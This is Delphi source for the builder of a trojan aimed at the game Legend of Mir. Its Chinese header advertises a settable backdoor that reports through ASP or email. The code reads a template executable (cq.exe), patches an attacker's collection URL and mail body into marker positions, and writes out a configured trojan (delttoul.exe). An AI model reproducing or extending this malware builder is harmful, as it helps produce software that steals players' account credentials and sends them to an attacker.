uinstall.pas

传奇木马原代码 DELPHI编写 可设置后门 ASP和邮箱发信两种设置

unit Uinstall;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdDNSResolver, winsock;

//const
//  DNSserver: array[0..1] of string = ('202.103.224.68', '202.103.226.68');
type
  TForm1 = class(TForm)
    Button1: TButton;
    Edithtml: TEdit;
    Label2: TLabel;
    procedure Button1Click(Sender: TObject);
  private
//    IdDNSResolver: TIdDNSResolver;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses unitmain;
{$R *.dfm}

function GetIP(Host: string; SList: TStrings): string;
type
  TaPInAddr = array[0..10] of PInAddr;
  PaPInAddr = ^TaPInAddr;
var
  phe: PHostEnt;
  pptr: PaPInAddr;
  i: Integer;
  GInitData: TWSADATA;
begin
  WSAStartup($0101, GInitData);
  Result := '';
  if Slist <> nil then Slist.clear;

  phe := GetHostByName(pchar(Host));
  if phe = nil then Exit;
  pptr := PaPInAddr(Phe^.h_addr_list);
  I := 0;
  while pptr^[I] <> nil do
  begin
    if i = 0 then result := StrPas(inet_ntoa(pptr^[I]^));
    if SList <> nil then
      SList.Add(StrPas(inet_ntoa(pptr^[I]^)));
    Inc(I);
  end;

  WSACleanup;
end;

{function GetMyWindowsDirectory: string;
var
  i: DWORD;
begin
  i := MAX_PATH + 1;
  setlength(result, i);
  i := GetWindowsDirectory(@result[1], i);
  setlength(result, i);
  if result[i] <> '\' then result := result + '\';
end;}

procedure TForm1.Button1Click(Sender: TObject);
const
  file1='cq.exe';
  file2='delttoul.exe';
var
//  path:string;
  //ExchangeServer,
  s1,s2,s,filename: string;
  i1, size: integer;
  fs: TFilestream;
begin
  if (not fileexists(file1)) then
  begin
    showmessage(file1 + '找不到!');
    exit;
  end;
  s1 := trim(Edithtml.text);
  if lowercase(copy(s1,1,7))<>'http://' then
    raise exception.create('"http://"没有找到!');
  i1 := pos('邮件正文', s1); 
  if i1 = 0 then raise exception.create('"邮件正文"没有找到!');
  s2:=copy(s1,i1+8,maxint);
  s1 := copy(s1, 1, i1-1);

{  ExchangeServer := '';
  IdDNSResolver := TIdDNSResolver.create(self);
  for i1 := 0 to length(DNSserver) - 1 do
  begin
    IdDNSResolver.Host := DNSserver[i1];
    IdDNSResolver.AllowRecursiveQueries := true;
    IdDNSResolver.ReceiveTimeout := 4000;
    IdDNSResolver.QueryRecords := [qtMX];
    IdDNSResolver.QueryResult.Clear;
    try
      IdDNSResolver.Resolve(s);
    except
    end;
    for i2 := 0 to IdDNSResolver.QueryResult.Count - 1 do
    begin
      ExchangeServer := GetIP((IdDNSResolver.QueryResult.Items[i2] as TMXRecord).ExchangeServer, nil);
      if ExchangeServer <> '' then break;
    end;
    if ExchangeServer <> '' then break;
  end;
  IdDNSResolver.free;
  if ExchangeServer = '' then
  begin
    showmessage('取邮箱IP出错!');
    exit;
  end; }
  fs := TFilestream.Create(file1, fmOpenRead);
  size:=fs.size;
  setlength(s, size);
  fs.Read(s[1], size);
  fs.Free;
  i1 := pos(consthtml1, s);
  if i1 = 0 then raise exception.create('error!')
  else begin
    strcopy(@s[i1], pchar(s1));
    i1 := pos(consthtml2, s);
    if i1 = 0 then raise exception.create('error!')
    else begin
      strcopy(@s[i1], pchar(s2));
    end;
  end;
  filename:=file2;
  if fileexists(filename) then deletefile(filename);
  fs := TFilestream.Create(filename, fmCreate);
  fs.Write(s[1],size);
  fs.Free;
  showmessage(filename+'已生成!');
end;

end.